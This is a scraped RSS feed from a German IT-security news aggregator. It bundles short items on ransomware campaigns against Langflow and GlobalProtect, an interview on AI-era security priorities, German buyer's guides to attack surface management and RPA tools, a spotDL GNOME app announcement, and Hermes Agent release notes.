    Want to join?

    ]]>         <![CDATA[iOS 27 Beta: Everything You Need to Know About Beta 4]]> https://tsecurity.de/de/3683052/ios-mac-os/ios-27-beta-everything-you-need-to-know-about-beta-4/ https://tsecurity.de/de/3683052/ios-mac-os/ios-27-beta-everything-you-need-to-know-about-beta-4/ Tue, 21 Jul 2026 10:39:52 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[Agentic Hacker Exploits Langflow RCE to Encrypt AI and Machine-Learning Infrastructure]]> https://tsecurity.de/de/3683037/it-security-nachrichten/agentic-hacker-exploits-langflow-rce-to-encrypt-ai-and-machine-learning-infrastructure/ https://tsecurity.de/de/3683037/it-security-nachrichten/agentic-hacker-exploits-langflow-rce-to-encrypt-ai-and-machine-learning-infrastructure/ Tue, 21 Jul 2026 10:38:18 +0200 📰 IT Security Nachrichten tsecurity.de JADEPUFFER, an agentic ransomware operation, has evolved from database extortion into a targeted campaign against AI and machine-learning infrastructure. The operator exploited the Langflow remote code execution flaw tracked as CVE-2025-3248 and deployed a purpose-built ransomware tool called ENCFORGE to encrypt model checkpoints, vector databases, training data, and AI deployment artifacts. CVE-2025-3248 is a missing-authentication [
]

    The post Agentic Hacker Exploits Langflow RCE to Encrypt AI and Machine-Learning Infrastructure appeared first on Cyber Security News.

    ]]>         <![CDATA[New ENCFORGE Ransomware Targets AI Model Files in Langflow RCE Attack]]> https://tsecurity.de/de/3682945/it-security-nachrichten/new-encforge-ransomware-targets-ai-model-files-in-langflow-rce-attack/ https://tsecurity.de/de/3682945/it-security-nachrichten/new-encforge-ransomware-targets-ai-model-files-in-langflow-rce-attack/ Tue, 21 Jul 2026 09:54:32 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[iOS 26.6 Release Candidate Is Here: Everything You Need to Know]]> https://tsecurity.de/de/3682914/ios-mac-os/ios-266-release-candidate-is-here-everything-you-need-to-know/ https://tsecurity.de/de/3682914/ios-mac-os/ios-266-release-candidate-is-here-everything-you-need-to-know/ Tue, 21 Jul 2026 09:25:18 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[White hat hacker Park Chan-am zeros in on the AI era’s key security challenges]]> https://tsecurity.de/de/3682886/it-security-nachrichten/white-hat-hacker-park-chan-am-zeros-in-on-the-ai-eras-key-security-challenges/ https://tsecurity.de/de/3682886/it-security-nachrichten/white-hat-hacker-park-chan-am-zeros-in-on-the-ai-eras-key-security-challenges/ Tue, 21 Jul 2026 09:07:57 +0200 📰 IT Security Nachrichten tsecurity.de

    Dubbed the “Genius Hacker,” Park Chan-am began his white hat hacker journey at the precocious age of 11, winning awards at domestic and international hacking competitions since his teenage years.

    He has since served as a cybersecurity advisor for various Korean government agencies, including the National Police Agency, and has played a key role in the country’s defense against Democratic People’s Republic of Korea (DPRK)-affiliated cyberattacks.

    At a seminar held this month as part of the 15th Information Security Day event hosted and organized by government agencies including the Ministry of Science and ICT and the Korea Internet and Security Agency (KISA), Park, now CEO of security firm Steelion, explained the changes in the security environment in the AI ​​era and the priority response tasks for information security organizations under the theme of “Major AI Threats and Security Priorities.”

    “While AI is a new technology, the core of security ultimately lies in access control, supply chain management, and human verification,” he said.

    Like many security experts, Park sees AI fundamentally changing the speed of cyberattacks. In the past, infiltrating a corporate network required significant time analyzing a range of software systems to find exploitable vulnerabilities — a task that the use of AI has significantly accelerated.

    “In the past, it took at least four weeks to find vulnerabilities, but now it takes less than a day,” he said. “In the era of AI, all software installed within a company becomes a much more critical target for attacks.”

    As a result, securing internal software and the software supply chain are paramount — and require a different perspective on accountability, Park noted.

    “Clients often ask, ‘Isn’t this just a product made by the vendor?’” he said. “From the moment it is installed in the company system, that software is no longer a vendor issue but part of the corporate system.”

    “We are now in an era where third-party issues can no longer be attributed solely to vendor responsibility,” he stressed.

    MCP under threat

    Park also sees authorization management as a key challenge security teams will face in the agentic era. For example, companies have been increasingly utilizing Model Context Protocol (MCP)-based AI agents to read emails, analyze documents, and connect internal systems with various business tasks. But as the workload handled by AI agents increases, every step an AI agent takes, reading external documents and interacting with internal systems, can become a potential attack vector.

    Prompt contamination through malicious documents and the leakage of internal information via agents with excessive privileges are quite realistic scenarios, Park said. In particular, he pointed out that issues that previously ended as minor problems, such as residual privileges left by former employees or outsourced personnel, could escalate into major incidents as AI automatically links these elements together.

    “When introducing AI, permissions must be designed before functions,” he said. “The entire MCP process must be approached as a single attack path.”

    The ever-widening blast radius of AI testing

    Local AI testing environments are becoming a dangerous security blind spot that information security leaders often overlook. Rapid experimentation with open-source AI, such as LLaMA-based models, on personal or work PCs often results in servers or ports being left open, and if vulnerabilities are discovered, intrusion pathways immediately open up.

    “When the [Ollama] remote code execution vulnerability was discovered in 2024, there were over 1,000 servers exposed to the internet, but recently in 2026, it has been confirmed that over 300,000 servers from the same targets are exposed,” said Park, adding that “the act of testing AI itself can become a new security risk.”

    Vulnerability management on notice

    Security operations must also change, Park stressed, noting that the number of alerts that security personnel must handle has increased tenfold, and in some cases up to a hundredfold, making it virtually impossible to respond to all vulnerabilities using the same standards.

    As a solution, Park sees the Common Vulnerability Scoring System (CVSS) being insufficient for determining priorities. Instead, he suggested that vulnerability response priorities be determined by utilizing the Exploit Prediction Scoring System (EPSS), which predicts the actual likelihood of exploitation, along with the US government’s Known Exploited Vulnerabilities (KEV) list.

    For example, if a vulnerability’s CVSS score is 7.5, it is not classified as critical, so it is likely to be pushed down the priority list. But the response priority changes completely if the same vulnerability is listed on the KEV list, has been exploited in actual ransomware attacks, and the probability of an attack based on EPSS has skyrocketed from 1% to 90% within two months. “You must consider these factors together to identify the vulnerabilities that actually need to be patched first,” he stressed.

    “Amidst the vast noise known as the AI s​lop, the criteria for deciding what to patch first is now becoming a core competency for security personnel,” he added.

    Park also presented new defense techniques applicable to the AI ​​era, such as methods to detect automated attacks by analyzing behavioral differences between humans and AI attackers, and proof of work (PoW) challenges that intentionally impose computational load on AI attackers to slow down their attacks. A prime example is filtering out abnormal access by analyzing mouse movements, keyboard input, and scrolling patterns.

    “It is a more realistic strategy to reduce the burden on security teams by filtering out at least some attacks, rather than trying to block them 100%,” he said.

    Even in the age of AI, technology alone cannot ensure complete security, he noted. “While AI can scan for threats broadly and quickly, verifying and confirming them ultimately falls to humans,” he said. “Humans are still important.”

    ]]>         <![CDATA[Qilin Ransomware Exploits Palo Alto GlobalProtect Flaw for Initial Access]]> https://tsecurity.de/de/3682747/it-security-nachrichten/qilin-ransomware-exploits-palo-alto-globalprotect-flaw-for-initial-access/ https://tsecurity.de/de/3682747/it-security-nachrichten/qilin-ransomware-exploits-palo-alto-globalprotect-flaw-for-initial-access/ Tue, 21 Jul 2026 07:37:26 +0200 📰 IT Security Nachrichten tsecurity.de Threat actors deploying Qilin ransomware exploited a Palo Alto Networks GlobalProtect authentication bypass flaw, CVE-2026-0257, as the consistent initial access vector across multiple June 2026 intrusions investigated by Arctic Wolf Labs. The campaign moved rapidly from perimeter compromise to domain-wide encryption, with post-exploitation tactics varying between affiliates operating under Qilin’s ransomware-as-a-service model. CVE-2026-0257 (CVSS 7.8) [
]

    The post Qilin Ransomware Exploits Palo Alto GlobalProtect Flaw for Initial Access appeared first on Cyber Security News.

    ]]>         <![CDATA[Attack Surface Management – ein Kaufratgeber]]> https://tsecurity.de/de/3682636/it-security-nachrichten/attack-surface-management-ein-kaufratgeber/ https://tsecurity.de/de/3682636/it-security-nachrichten/attack-surface-management-ein-kaufratgeber/ Tue, 21 Jul 2026 06:24:36 +0200 📰 IT Security Nachrichten tsecurity.de
    Cat Bite 16z9
    Mit diesen Attack Surface Management Tools sorgen Sie im Idealfall dafĂŒr, dass sich Angreifer gar nicht erst verbeißen.

    Sergey Zaykov | shutterstock.com

    RegelmĂ€ĂŸige Netzwerk-Scans reichen fĂŒr eine gehĂ€rtete AngriffsflĂ€che nicht mehr aus. Um die Sicherheit von Unternehmensressourcen und Kundendaten zu gewĂ€hrleisten, ist eine kontinuierliche Überwachung auf neue Ressourcen und Konfigurationsabweichungen erforderlich. Werkzeuge aus den Bereichen Cyber Asset Attack Surface Management (CAASM) sowie External Attack Surface Management (EASM) sind darauf ausgelegt, die AngriffsflĂ€che von Unternehmen:

    • zu quantifizieren,

    • zu minimieren, und

    • zu hĂ€rten.

    Das Ziel besteht dabei darin, den Angreifern möglichst wenig Informationen ĂŒber das Security-Niveau des Unternehmens zu geben und gleichzeitig kritische Business Services aufrechtzuerhalten. Dabei spielt inzwischen auch Agentic AI eine immer grĂ¶ĂŸere Rolle.

    12 Attack-Surface-Management-Tools

    Die folgenden zwölf Lösungen unterstĂŒtzen Sie dabei, Risiken zu identifizieren und zu managen.

    Axonius Cyber Asset Attack Surface Management

    Diese CAASM-Suite von Axonius deckt alle wichtigen Aspekte ab, wenn es um Attack Surface Monitoring geht. Das Tool erstellt zunÀchst ein Asset-Inventar, das automatisch aktualisiert und mit Kontext aus internen Datenquellen und Ressourcen angereichert wird.

    Dabei ist es auch möglich, Monitoring-Prozesse aufzusetzen, die auf Grundlage von Richtlinien wie PCI oder HIPAA ablaufen. So lassen sich Konfigurationen oder Schwachstellen identifizieren, die diesen zuwiderlaufen und entsprechende Maßnahmen ergreifen.

    Bugcrowd EASM

    Bugcrowd hat im Mai 2024 Informer.io ĂŒbernommen und dessen EASM-Angebot in seine Security-Plattform integriert. Diese automatisiert die Asset Discovery ĂŒber Webapplikationen, APIs und andere “public facing”-Komponenten des IT-Stacks hinweg.

    Assets ĂŒberwacht die Lösung kontinuierlich, wobei identifizierte Risiken in Echtzeit priorisiert werden. DarĂŒber hinaus stehen auch Zusatz-Services wie manuelle RisikoprĂŒfungen oder Penetrationstests zur VerfĂŒgung. Das Workflow-basierte Response-System der Lösung verspricht eine einfachere Einbindung mehrerer Teams, indem existierende Ticketing- und Kommunikations-Tools integriert werden. Praktisch ist auch die Möglichkeit, KonfigurationsĂ€nderungen oder System Updates zu validieren, um sicherzustellen, dass identifizierte Bedrohungen tatsĂ€chlich bereinigt wurden.  

    CrowdStrike Falcon Exposure Management

    Crowdstrike hat sein Falcon-Surface-Angebot von einem Standalone EASM-Tool zu einem Kernbestandteil von Falcon Exposure Management ausgebaut. Die Lösung wird nun auch durch KI-nativen Code dabei unterstĂŒtzt, Risiken zu identifizieren und auszuschalten. DarĂŒber hinaus kommt die Technologie auch fĂŒr Adversarial-AI-Szenarien zum Einsatz.

    Die Crowdstrike-Lösung kann außerdem:

    • Risiken mit dem Business-Kontext korrelieren,
    • die Ausnutzbarkeit validieren und
    • direkte Abhilfemaßnahmen ĂŒber die Falcon-Plattform einleiten.

    Unternehmen sollen sich mit dem Tool einen nachhaltigen Überblick ĂŒber ihre AngriffsflĂ€che verschaffen und Risiken oder Bedrohungen mit einer Vielzahl von Techniken aufspĂŒren können. Dazu gehören etwa aktive, passive und API-basierte Scans, um mit dem Internet verbundene Ressourcen zu identifizieren.

    Falcon Exposure Management ist nicht Teil des Enterprise-Softwarepakets von Crowdstrike. Es kann als Abonnementlizenz auf Basis der gemanagten Endpunkte erworben werden.

    CyCognito Attack Surface Management

    Das CAASM-Produkt von CyCognito bietet eine kontinuierliche Überwachung und Inventarisierung von Assets. Dabei spielt es keine Rolle, ob diese On-Premises, in der Cloud, bei einem Drittanbieter oder einer Tochtergesellschaft vorliegen.

    Um den Triage-Prozess und die Risiko-Priorisierung zu erleichtern, kann auch Business-Kontext hinzugefĂŒgt werden (beispielsweise Beziehungen zwischen einzelnen Assets). Das hilft dabei, sich auf die wichtigsten Netzwerkrisiken zu konzentrieren. CyCognitos Tool verfolgt darĂŒber hinaus auch KonfigurationsĂ€nderungen und ermöglicht so, neue Risiken fĂŒr die Unternehmensinfrastruktur schnell zu identifizieren.

    JupiterOne Cyber Asset Attack Surface Management

    JupiterOne preist seine CAASM-Lösung als eine Möglichkeit an, “Cyber-Asset-Daten nahtlos in einer einheitlichen Ansicht zu aggregieren”. Der Kontext wird bei Bedarf automatisch hinzugefĂŒgt, und die Beziehungen zwischen den Assets können definiert und optimiert werden, um Schwachstellenanalyse und Incident-Response-FĂ€higkeiten zu verbessern.

    Benutzerdefinierte Abfragen ermöglichen es Cybersecurity-Teams, komplexe Fragen zu beantworten, wĂ€hrend der Asset-Bestand ĂŒber eine interaktive Map durchsucht werden kann. Die Security-Tools, in die Sie bereits investiert haben, können Sie integrieren – was eine ganzheitliche, zentralisierte Perspektive auf das Security-Niveau zulĂ€sst.

    Microsoft Defender External Attack Surface Management

    Microsoft Defender EASM erkennt nicht verwaltete Assets und Ressourcen, die per Schatten-IT bereitgestellt werden oder sich auf anderen Cloud-Plattformen befinden. Sobald die Assets und Ressourcen identifiziert sind, sucht das Tool nach Schwachstellen auf jeder Ebene des Technologie-Stacks, einschließlich der zugrunde liegenden Plattform, App-Frameworks, Webanwendungen, Komponenten und des Kerncodes.

    Defender EASM ermöglicht es IT-Profis, Schwachstellen in neu entdeckten Ressourcen schnell zu beheben, indem diese nach Entdeckung in Echtzeit kategorisiert und priorisiert werden. NaturgemĂ€ĂŸ lĂ€sst sich Defender EASM eng mit anderen Microsoft-Lösungen wie Security Copilot integrieren.

    Outpost24 EASM

    Der schwedische Anbieter Outpost24 hat 2023 den belgischen EASM-Anbieter Sweepatic ĂŒbernommen und dessen Tool in seine Modul-Kollektion fĂŒr Threat Intelligence, Data Leakage und Pentesting integriert. Diese EASM-Lösung ist sowohl Standalone, als auch als Managed Service erhĂ€ltlich und kann Daten entweder passiv ĂŒber DNS und andere TCP/IP-Details oder ĂŒber direkte Verbindungen zu Cloud-Anbietern wie AWS und Azure sowie den Lösungen großer Softwareanbieter (etwa ServiceNow, Slack oder Atlassian) erfassen.

    Palo Alto Networks Cortex Xpanse

    Xpanse ist Teil der XSIAM-Produktsuite von Palo Alto, kann jedoch auch separat erworben werden. Das Standalone-Produkt hat allerdings einen etwas geringeren Funktionsumfang.

    Das Palo-Alto-Tool unterstĂŒtzt auch die Integration mit Tools von Drittanbietern wie Qualys, Jira und ServiceNow. Zudem verfĂŒgt das Produkt ĂŒber eine beeindruckende Auswahl an vorgefertigten Detection-Regeln, Widgets, um Queries und Discovery-Routinen zu erstellen und anpassbare Daten-Dashboards aufzusetzen.

    Rapid7 Surface Command

    Surface Command ist nur eines von zahlreichen Modulen, das Rapid7 im Angebot hat (unter anderem Vulnerability und Incident Management sowie Cloud-Native Security). Das Tool bringt Threat Exposure, Detection und Response unter einen Nenner und verspricht eine kontinuierliche „Vogelperspektive“ ĂŒber sĂ€mtliche Schwachstellen – vom Endpunkt bis hin zur Cloud.

    Das Rapid-7-Tool ist darauf konzipiert, blinde Flecken in der Security aufzuspĂŒren sowie Reaktion und Behebung zu beschleunigen. FĂŒr letzteres sind zudem auch agentenbasierte KI-Funktionen enthalten.

    RiskProfiler EASM

    Über die RiskProfiler-Plattform lassen sich sĂ€mtliche externen Bedrohungen managen. Das Tool ermöglicht beispielsweise Dark-Web-Monitoring, digitales Monitoring sowie Hacking-Kampagnen, Schwachstellen und Supply-Chain-Angriffe zu tracken. Die hieraus gewonnenen Bedrohungsinformationen werden von KI-Agenten zu einem einheitlichen Korpus verdichtet.

    Bestandteil des Tools sind zudem mehr als 13.000 vorinstallierte Regeln, die sowohl Open-Source- als auch eigene proprietÀre Algorithmen miteinander verbinden. Auch die Risikobewertungen von Drittanbietern werden analysiert. Ein anpassbares Management-Dashboard visualisiert die Daten in diversen Ansichten. 

    SOCRadar AttackMapper

    Mit AttackMapper (ein Teil der Tool-Suite fĂŒr SOC-Teams), will SOCRadar, den Anwendern die Sicht der Angreifer auf die Assets ermöglichen. Das Tool ĂŒberwacht Assets mithilfe von Agentic AI dynamisch in Echtzeit, identifiziert neue oder verĂ€nderte und analysiert sie auf potenzielle Schwachstellen.

    Die Ergebnisse werden mit bekannten Angriffsmethoden korreliert, um den Entscheidungsfindungs- und Triageprozess zu unterstĂŒtzen. Dabei ĂŒberwacht AttackMapper nicht nur Endpunkte und Software Vulnerabilities, sondern auch SSL-Schwachstellen, abgelaufene Zertifikate, DNS-EintrĂ€ge und Konfigurationen. Das Tool erkennt selbst Website-Defacement-Angriffe, was entscheidend sein kann, um die Markenreputation zu schĂŒtzen.

    Tenable Attack Surface Management

    Tenable hat schon seit einigen Jahren Tools im Angebot, um Schwachstellen aufzuspĂŒren – und auch die aktuelle Tool-Suite wird modernen IT-Sicherheitsanforderungen gerecht. Bei Tenable Attack Surface Management handelt es sich um das EASM-Modul des Unternehmens, das in dessen Exposure-Management-Plattform „One“ integriert ist.

    Tenable Attack Surface Management liefert Kontext und Details zu Assets und Schwachstellen, allerdings nicht nur aus technischer Sicht, sondern auch auf Business-Ebene, was fĂŒr eine umfassende Priorisierung der Maßnahmen erforderlich ist.

    7 Fragen vor dem ASM-Invest

    Die folgenden Fragen sollten Sie sich und potenziellen Anbietern von Attack-Surface-Management-Lösungen stellen, bevor Sie einen Vertrag unterzeichnen.

    • Benötigt unser Unternehmen eine EASM- oder eine CAASM-Lösung? Die Antwort darauf hĂ€ngt davon ab, ob Sie nach internen oder externen Angreifern suchen – und wie groß der Anteil Ihrer lokalen Infrastruktur ist.
    • Wie umfangreich – und effektiv – ist das Tool automatisiert? Erkennt es zuverlĂ€ssig alle anfĂ€lligen Ressoucren, einschließlich digitaler Zertifikate, offengelegter Anmeldedaten und mit dem Netz verbundene Server und Services? Welche Metadaten und weiteren Details liefert die Lösung?  
    • Wie behebt die Lösung Schwachstellen, wenn sie welche findet? LĂ€uft das automatisiert ab oder sind manuelle Eingriffe erforderlich?
    • UnterstĂŒtzt das Tool Continuous Monitoring? Und falls ja: Wie werden VerĂ€nderungen nachgehalten?
    • Welche Schwachstellen werden wie mit anderen SOC-Tools geteilt oder integriert?
    • Gibt es unterschiedliche Dashboards fĂŒr Management- und andere Zwecke? Beziehungsweise: Wie lĂ€sst sich das Tool auf unterschiedliche Benutzergruppen anpassen?
    • Wie sieht ihre Preisgestaltung im Detail aus? Stellen Sie sicher, dass Sie das PreisgefĂŒge des Anbieters Ihrer Wahl wirklich verstehen. In den meisten FĂ€llen sind Sie dabei mit komplexen, nutzungsabhĂ€ngigen Abrechnungsmodellen konfrontiert.

    (fm)

    Dieser Beitrag ist im Original bei unserer Schwesterpublikation CSOonline.com erschienen.

    ]]>         <![CDATA[RPA Software: Die besten Tools fĂŒr Robotic Process Automation]]> https://tsecurity.de/de/3682584/it-security-nachrichten/rpa-software-die-besten-tools-fuer-robotic-process-automation/ https://tsecurity.de/de/3682584/it-security-nachrichten/rpa-software-die-besten-tools-fuer-robotic-process-automation/ Tue, 21 Jul 2026 05:08:44 +0200 📰 IT Security Nachrichten tsecurity.de
    Robotic Process Automation birgt fĂŒr Unternehmen viele Vorteile. Wir zeigen Ihnen die besten RPA Tools.

    Robotic Process Automation birgt fĂŒr Unternehmen viele Vorteile. Wir zeigen Ihnen die besten RPA Tools.

    Foto: klyaksun – shutterstock.com

    Eine Art magische Taste zur Automatisierung langweiliger und repetitiver Aufgaben am Arbeitsplatz – und damit vereinfachte ArbeitsablĂ€ufe und mehr Zeit fĂŒr wichtige Tasks – das ist das Versprechen von Robotic Process Automation (RPA). RPA integriert auch neue KI-Algorithmen in alte Technologie-Stacks: Viele Plattformen bieten Computer Vision und Machine Learning Tools. Dennoch: RPA ist kein Automatismus, ein betrĂ€chtliches Maß an manuellen Eingriffen und Anpassungen ist wĂ€hrend des Trainings entsprechender Modelle erforderlich. Noch gibt es einige Tasks, die vorkonfigurierte Bots nicht erledigen können – allerdings werden die Softwareroboter zunehmend intelligenter und ihr Training einfacher.

    Der RPA-Markt bietet eine Mischung aus neuen, speziell entwickelten Tools und Ă€lteren Werkzeugen, die mit zusĂ€tzlichen Automatisierungsfunktionen ausgestattet wurden. Einige Anbieter vermarkten ihre Tools unter dem Begriff “Workflow-Automatisierung” oder “Work Process Management”, andere sprechen von “GeschĂ€ftsprozessautomatisierung”.

    Was Robotic Process Automation leisten sollte

    Bevor Sie sich fĂŒr ein RPA-Produkt entscheiden, sollten Sie sich darĂŒber im Klaren sein, dass jedes Produkt seine eigenen proprietĂ€ren Dateiformate zum Einsatz bringt. Deshalb sind RPA-Lösungen nicht miteinander kompatibel. Die Konsequenz fĂŒr Sie als Anwender: Sie sollten in Frage kommende Produkte vorab sorgfĂ€ltig evaluieren und einen Proof of Concept durchfĂŒhren. NachtrĂ€glich auf ein anderes Produkt umzusteigen, ist in der Regel relativ mĂŒhsam – und kostspielig.

    Stellen Sie sicher, dass sÀmtliche grundlegenden und speziellen Funktionen, die Sie benötigen, auch im Zusammenspiel mit Ihrer IT-Umgebung funktionieren. Auf folgende Faktoren gilt es dabei besonders zu achten:

    • Bots sollten simpel einzurichten sein. Zudem sind verschiedene Möglichkeiten, um RPA-Bots fĂŒr unterschiedliche Personas aufzusetzen, essenziell. Ein Recorder sollte die normalen Aktionen von Business-Nutzern erfassen. Citizen Developer sollten Low-Code-Umgebungen nutzen können, um Bots und Business-Regeln zu definieren. Und Profi-Devs sollten echten Automatisierungs-Code erstellen können, der auf die APIs des RPA-Tools zugreift.
    • Low-Code-Funktionen sind unerlĂ€sslich. In der Regel vereint Low-Code eine Drag-and-Drop-Zeitleiste mit einer Aktions-Toolbox und Property-Formularen – ab und an muss auch ein Code-Snippet erstellt werden. Das geht deutlich schneller, als Business-Regeln mit herkömmlichen Verfahren zu erstellen.
    • Die Lösung der Wahl sollte sowohl Attended als auch Unattended Bots unterstĂŒtzen. Manche Bots sind nur sinnvoll, um sie on Demand (attended) auszufĂŒhren – etwa wenn es darum geht, einen genau definierten Task auszufĂŒhren. Andere eignen sich, um auf bestimmte Events zu reagieren (unattended) – etwa Due-Diligence-PrĂŒfungen fĂŒr ĂŒbermittelte KreditantrĂ€ge. Sie benötigen beide Formen.
    • Machine-Learning-FĂ€higkeiten sind Pflicht. Noch vor wenigen Jahren hatten viele RPA-Tools Probleme, Informationen aus unstrukturierten Dokumenten zu extrahieren.  Heutzutage kommen ML-Lernfunktionen zum Einsatz, um solche Daten zu analysieren. Das bezeichnen einige Anbieter und Analysten auch als “Hyperautomation”.
    • Der Faktor Mensch braucht Raum. Kategoriale maschinelle Lernmodelle schĂ€tzen in der Regel die Wahrscheinlichkeit möglicher Ergebnisse. Ein Modell zur Vorhersage von KreditausfĂ€llen, das eine Ausfallwahrscheinlichkeit von 90 Prozent angibt, könnte beispielsweise empfehlen, den Kredit abzulehnen, wĂ€hrend ein Modell, das eine Ausfallwahrscheinlichkeit von 5 Prozent berechnet, empfehlen könnte, diesen zu gewĂ€hren. Zwischen diesen Wahrscheinlichkeiten sollte Spielraum fĂŒr ein menschliches Urteil bestehen. Das RPA-Tool Ihrer Wahl sollte deshalb die Möglichkeit fĂŒr manuelle Reviews bieten.
    • Bots mĂŒssen sich mit ihren Enterprise Apps integrieren lassen – ansonsten können sie keine Informationen daraus abrufen und bringen entsprechend wenig. Die Integration geht in der Regel einfacher vonstatten, als PDF-Dateien zu parsen. Nichtsdestotrotz benötigen Sie dafĂŒr Treiber, Plugins und Anmeldedaten fĂŒr sĂ€mtliche Datenbanken, Buchhaltungs- und HR-Systeme sowie weitere Unternehmens-Apps.
    • Orchestrierungsmöglichkeiten sind unverzichtbar. Bevor Sie Bots ausfĂŒhren können, mĂŒssen Sie sie konfigurieren und die dafĂŒr erforderlichen Anmeldedaten bereitstellen, in der Regel ĂŒber einen eigens abgesicherten Credential Store. Zudem mĂŒssen Benutzer autorisiert werden, um Bots erstellen und ausfĂŒhren zu können.
    • Cloud-Bots können zusĂ€tzliche Benefits bringen. Als RPA eingefĂŒhrt wurde, liefen die Bots ausschließlich auf den Desktops der Benutzer oder den Servern des Unternehmens. Mit dem Wachstum der Cloud haben sich jedoch virtuelle Cloud-Maschinen fĂŒr diesen Zweck etabliert. Einige RPA-Anbieter haben auch bereits Cloud-native Bots implementiert, die als Cloud-Apps mit Cloud-APIs ausgefĂŒhrt werden, anstatt auf virtuellen Windows-, macOS- oder Linux-Maschinen. Selbst wenn Sie derzeit nur wenig in Cloud-Anwendungen investiert haben, ist diese Funktion mit Blick auf die Zukunft empfehlenswert.
    • Process-Mining-FĂ€higkeiten können Aufwand reduzieren. Der zeitaufwĂ€ndigste Teil einer RPA-Implementierung besteht im Regelfall darin, Prozesse zu identifizieren, die automatisiert werden können – und diese entsprechend zu priorisieren. Je besser die RPA-Lösung Ihrer Wahl Sie in Sachen Process Mining und Task Discovery unterstĂŒtzen kann, desto schneller und einfacher können Sie automatisieren.
    • Skalierbarkeit ist das A und O. Wenn Sie RPA unternehmensweit einfĂŒhren und sukzessive ausbauen möchten, können leicht Skalierungsprobleme auftreten – insbesondere, wenn es um Unattended Bots geht. Dagegen hilft oft eine Cloud-Implementierung, insbesondere, wenn die Orchestrierungskomponente in der Lage ist, bei Bedarf zusĂ€tzliche Bots bereitzustellen.

    Die besten RPA-Softwarelösungen

    Im Folgenden haben wir die aktuell wichtigsten Anbieter und Lösungen im Bereich Robotic Process Automation fĂŒr Sie zusammengestellt. Die Auflistung erhebt keinen Anspruch auf VollstĂ€ndigkeit und basiert unter anderem auf den Bewertungen von Anwendern sowie den EinschĂ€tzungen von Analysten.

    Zu beachten ist dabei, dass KI-Agenten klassischen RPA-Lösungen zunehmend den Rang ablaufen, da sie weitergehende, intelligentere Automatisierungsinitiativen ermöglichen: WĂ€hrend Robotic Process Automation vor allem regelbasiert funktioniert, “lernen” KI-Agenten aus Daten. Diverse Anbieter haben bereits auf den Trend reagiert und ihr Automatisierungsangebot entsprechend neu ausgerichtet.

    (fm)

    Dieser Beitrag ist im Original bei unserer Schwesterpublikation CIO.com erschienen.

    ]]>         <![CDATA[ReChan brings Jackie Chan Stuntmaster to PC as a native reimplementation]]> https://tsecurity.de/de/3682535/reverse-engineering/rechan-brings-jackie-chan-stuntmaster-to-pc-as-a-native-reimplementation/ https://tsecurity.de/de/3682535/reverse-engineering/rechan-brings-jackie-chan-stuntmaster-to-pc-as-a-native-reimplementation/ Tue, 21 Jul 2026 04:09:12 +0200 đŸ•”ïž Reverse Engineering tsecurity.de /u/_AG700
    [link] [comments]]]>         <![CDATA[I made a native GNOME app for downloading music from Spotify]]> https://tsecurity.de/de/3682513/linux-tipps/i-made-a-native-gnome-app-for-downloading-music-from-spotify/ https://tsecurity.de/de/3682513/linux-tipps/i-made-a-native-gnome-app-for-downloading-music-from-spotify/ Tue, 21 Jul 2026 03:56:12 +0200 🐧 Linux Tipps tsecurity.de

    I've been using spotDL for years, and while the CLI is fantastic, I always found myself wishing it had a proper desktop app that actually felt at home on Linux.

    So over the last little while I built one.

    spotDL GNOME is a Linux-focused fork of spotDL with a native GTK4/libadwaita interface, packaged as a self-contained Flatpak. The goal wasn't to replace the CLI, just to make it easier to use for people who prefer a GUI.

    Some of the things it includes:

    • đŸŽ” Download Spotify tracks, albums and playlists
    • 📩 One-click Flatpak installation
    • ⏳ Live download progress
    • 🕘 Download history
    • 🔁 Automatic fallback sources (YouTube Music → YouTube → SoundCloud → Bandcamp)
    • ❌ Retry failed tracks individually with clear error messages
    • 📁 Organised music folders with configurable templates
    • đŸŽšïž Audio format, bitrate and synced lyrics settings
    • đŸ› ïž FFmpeg and Deno bundled in the Flatpak

    One thing that was important to me was making it feel like an actual GNOME application instead of an Electron wrapper. If you're running Fedora, Ubuntu or another distro with Flatpak, it should fit right in.

    I'd love some feedback from other Linux users. Feature requests, bug reports and PRs are always welcome.

    GitHub:
    https://github.com/loafdaddy/spotDL-GNOME

    Huge thanks to the original spotDL developers. Their project does all the heavy lifting. This is simply a native desktop frontend built on top of their excellent engine.

    AI disclosure: I used AI as a development tool for parts of the GTK UI, documentation, branding and boilerplate. It wasn't generated from a single prompt, and everything in the project has been manually reviewed and tested before release.

    submitted by /u/TwoLoafsApps
    [link] [comments]]]>         <![CDATA[JadePuffer agentic attacks now target AI model data with ransomware]]> https://tsecurity.de/de/3682217/it-security-nachrichten/jadepuffer-agentic-attacks-now-target-ai-model-data-with-ransomware/ https://tsecurity.de/de/3682217/it-security-nachrichten/jadepuffer-agentic-attacks-now-target-ai-model-data-with-ransomware/ Mon, 20 Jul 2026 23:43:30 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]> https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/ https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/ Mon, 20 Jul 2026 20:46:40 +0200 đŸ’Ÿ Downloads tsecurity.de Hermes Agent v0.19.0 (v2026.7.20)

    Release Date: July 20, 2026
    Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

    The Quicksilver Release. Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped ~80% on every platform, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now manage your Nous subscription without leaving the terminal, plug Bitwarden and 1Password straight into Hermes, let smart approvals judge flagged commands for you by default, watch your subagents work live, and trust that a finished response survives a gateway crash thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.

    ✹ Highlights

    • Hermes got dramatically faster — first token in a fraction of the time — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you see while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (#59332, #59389 — @teknium1)

